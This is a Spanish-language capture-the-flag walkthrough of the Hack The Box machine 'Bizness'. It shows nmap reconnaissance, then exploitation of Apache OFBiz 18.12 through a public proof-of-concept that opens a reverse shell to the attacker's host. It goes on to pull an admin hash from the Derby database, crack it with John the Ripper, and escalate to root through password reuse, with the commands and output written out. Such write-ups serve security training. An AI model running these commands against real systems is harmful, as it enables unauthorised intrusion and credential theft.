Descripción

Bizness es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Apache Ofbiz vulnerable a omisión de autenticación y a ejecución remota de comandos
  • Elevación de privilegios mediante la rotura de un hash personalizado de una contraseña con John The Ripper y reutilizado de contraseñas

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.251.57.

$ ping -c 3 10.129.251.57
PING 10.129.251.57 (10.129.251.57) 56(84) bytes of data.
64 bytes from 10.129.251.57: icmp_seq=1 ttl=63 time=47.1 ms
64 bytes from 10.129.251.57: icmp_seq=2 ttl=63 time=47.3 ms
64 bytes from 10.129.251.57: icmp_seq=3 ttl=63 time=46.3 ms

--- 10.129.251.57 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2003ms
rtt min/avg/max/mdev = 46.318/46.918/47.312/0.431 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.251.57 -sS -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.051s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE
22/tcp  open  ssh
80/tcp  open  http
443/tcp open  https

Nmap done: 1 IP address (1 host up) scanned in 0.98 seconds

Obtenemos tres puertos abiertos, 22, 80, y 443.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.251.57 -sV -sC -p22,80,443 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.251.57
Host is up (0.056s latency).

PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey: 
|   3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
|   256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_  256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp  open  http     nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
443/tcp open  ssl/http nginx 1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
|_http-server-header: nginx/1.18.0
| tls-nextprotoneg: 
|_  http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after:  2328-11-10T20:03:40
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 19.60 seconds

Conseguimos tres servicios: un Secure Shell (SSH), y dos servicios de Protocolo de Transferencia de Hipertexto (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP en el puerto 80. Observamos que el servicio alberga un sitio web http://bizness.htb, por lo que lo agregamos a nuestro archivo local /etc/hosts.

$ echo "10.129.251.57 bizness.htb" | sudo tee -a /etc/hosts

Observamos que el servicio está redireccionando al puerto HTTPs. Observamos en el navegador que el servicio está hospedando un sitio web que ofrece soluciones empresariales. En la pie de página encontramos que el sitio web utiliza Apache OFBiz. Apache OFBiz es un conjunto de aplicaciones empresariales lo suficientemente flexibles para ser usado en cualquier industria. Por defecto, el directorio de OFBiz es /ordermgr. Cuando entramos en este directorio encontramos una página de inicio de sesión y se revela la versión de Apache OFBiz, 18.12. Esta versión es vulnerable a una omisión de autenticación, CVE-2023-51467, y a una ejecución remota de comandos con autorización previa, CVE-2023-49070.

Explotación

Para explotar la vulnerabilidad tenemos un script PoC hecho por abdoghazy2015, ofbiz-CVE-2023-49070-RCE-POC. Clonamos el repositorio, descargamos las dependencias y abrimos un puerto local en el que vamos a recibir la terminal inversa. Necesitamos establecer Java 11 como nuestra versión de Java.

$ git clone https://github.com/abdoghazy2015/ofbiz-CVE-2023-49070-RCE-POC
$ cd ofbiz-CVE-2023-49070-RCE-POC 
$ wget https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar
$ sudo apt install openjdk-11-jre$ update-java-alternatives --list
java-1.11.0-openjdk-amd64      1111       /usr/lib/jvm/java-1.11.0-openjdk-amd64
java-1.17.0-openjdk-amd64      1711       /usr/lib/jvm/java-1.17.0-openjdk-amd64
$ sudo update-java-alternatives --set /usr/lib/jvm/java-1.11.0-openjdk-amd64
$ java --version                                                            
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
openjdk 11.0.20-ea 2023-07-18
OpenJDK Runtime Environment (build 11.0.20-ea+7-post-Debian-1)
OpenJDK 64-Bit Server VM (build 11.0.20-ea+7-post-Debian-1, mixed mode, sharing)
$ python exploit.py https://bizness.htb shell 10.10.14.45:1234              
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
Not Sure Worked or not
$ nc -nvlp 1234

Obtenemos una terminal inversa, así que la actualizamos.

$ nc -nvlp 1234             
listening on [any] 1234 ...
connect to [10.10.14.45] from (UNKNOWN) [10.129.251.57] 46966
bash: cannot set terminal process group (768): Inappropriate ioctl for device
bash: no job control in this shell
ofbiz@bizness:/opt/ofbiz$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
ofbiz@bizness:/opt/ofbiz$ stty rows 48 columns 156
ofbiz@bizness:/opt/ofbiz$ export TERM=xterm
ofbiz@bizness:/opt/ofbiz$ export SHELL=bash

Post-Explotación

Como usuarios de consola sólo encontramos al usuario actual, ofbiz y root.

ofbiz@bizness:/opt/ofbiz$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
ofbiz:x:1001:1001:,,,:/home/ofbiz:/bin/bash

Encontramos que la configuración del programa se encuentra en el directorio /opt/ofbiz/framework/entity/config/entityengine.xml. Encontramos que el programa está utilizando una base de datos Derby.

<delegator name="default" entity-model-reader="main" entity-group-reader="main" entity-eca-reader="main" distributed-cache-clear-enabled="false">
        <group-map group-name="org.apache.ofbiz" datasource-name="localderby"/>
        <group-map group-name="org.apache.ofbiz.olap" datasource-name="localderbyolap"/>
        <group-map group-name="org.apache.ofbiz.tenant" datasource-name="localderbytenant"/>
    </delegator>

La base de datos se encuentra en /opt/ofbiz/runtime/data/derby. Tal como se ve en el código fuente la entidad UserLogin guarda la contraseña en el campo currentPassword. Así que vamos a buscar una cadena en la base de datos que contenga esta entidad.

ofbiz@bizness:/opt/ofbiz$cd /opt/ofbiz/runtime/data/derby
ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ grep -rn "UserLogin" . 2>&1 | cut -d: -f2 | xargs strings | grep "UserLogin"
...
                <std-String value="updatedUserLogin"/>
                <eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
...

Encontramos una entidad UserLogin para el usuario admin, que contiene el hash de la contraseña, $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I. Este no es un hash común así que tenemos que imbuirnos en el código fuente para decodificarlo. Tenemos que observar las funciones cryptBytes y getCryptedBytes.

    public static String cryptBytes(String hashType, String salt, byte[] bytes) {
        if (hashType == null) {
            hashType = "SHA";
        }
        if (salt == null) {
            salt = RandomStringUtils.random(SECURE_RANDOM.nextInt(15) + 1, CRYPT_CHAR_SET);
        }
        StringBuilder sb = new StringBuilder();
        sb.append("$").append(hashType).append("$").append(salt).append("$");
        sb.append(getCryptedBytes(hashType, salt, bytes));
        return sb.toString();
    }

	private static String getCryptedBytes(String hashType, String salt, byte[] bytes) {
        try {
            MessageDigest messagedigest = MessageDigest.getInstance(hashType);
            messagedigest.update(salt.getBytes(StandardCharsets.UTF_8));
            messagedigest.update(bytes);
            return Base64.encodeBase64URLSafeString(messagedigest.digest()).replace('+', '.');
        } catch (NoSuchAlgorithmException e) {
            throw new GeneralRuntimeException("Error while comparing password", e);
        }
    }

Vemos que el hash está en formato SHA (SHA1), el salt del hash es d el cual se pone al principio de la cadena, y el hash está codificado con URL Safe Base64. John the Ripper no soporta este tipo de hash por lo que necesitamos convertirlo a un formato compatible. Podemos enumerar los formatos dinámicos relacionados con SHA1.

$ john --list=subformats | grep sha1                                               
Format = dynamic_22  type = dynamic_22: md5(sha1($p))
Format = dynamic_23  type = dynamic_23: sha1(md5($p))
Format = dynamic_24  type = dynamic_24: sha1($p.$s)
Format = dynamic_25  type = dynamic_25: sha1($s.$p)
Format = dynamic_26  type = dynamic_26: sha1($p) raw-sha1

Podemos usar el formato dynamic_25, admin:$dynamic_25$hexadecimalhash$salt. Podemos convertir la cadena codificada con Base64 URL Safe al normal reemplazando el carácter _ por / y el carácter - a +. Después de esto, podemos obtener el hash hexadecimal.

$ echo "uP0/QaVBpDWFeo8+dRzDqRwXQ2I" | base64 -d 2> /dev/null | xxd -p
b8fd3f41a541a435857a8f3e751cc3a91c174362

Finalmente el hash completo para John the Ripper será.

admin:$dynamic_25$b8fd3f41a541a435857a8f3e751cc3a91c174362$d

Podemos romper el hash.

$ john --format=dynamic_25 --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (dynamic_25 [sha1($s.$p) 256/256 AVX2 8x1])
Warning: no OpenMP support for this hash type, consider --fork=16
Press 'q' or Ctrl-C to abort, almost any other key for status
monkeybizness    (admin)     
1g 0:00:00:00 DONE 6.250g/s 9261Kp/s 9261Kc/s 9261KC/s monkeycrew..mollholl
Use the "--show --format=dynamic_25" options to display all of the cracked passwords reliably
Session completed.

Encontramos la contraseña para el usuario de Ofbiz admin, monkeybizness. En la terminal comprobaremos que la contraseña se reutiliza para el usuario root. Tenemos acceso completo a la máquina.

ofbiz@bizness:/opt/ofbiz/runtime/data/derby$ su root
Password:
ofbiz@bizness:/opt/ofbiz/runtime/data/derby# id             
uid=0(root) gid=0(root) grupos=0(root)

Flags

Finalmente podemos obtener la flag del usuario y la flag del sistema.

root@bizness:/opt/ofbiz# cat /home/ofbiz/user.txt 
<REDACTED>
root@bizness:/opt/ofbiz# cat /root/root.txt
<REDACTED>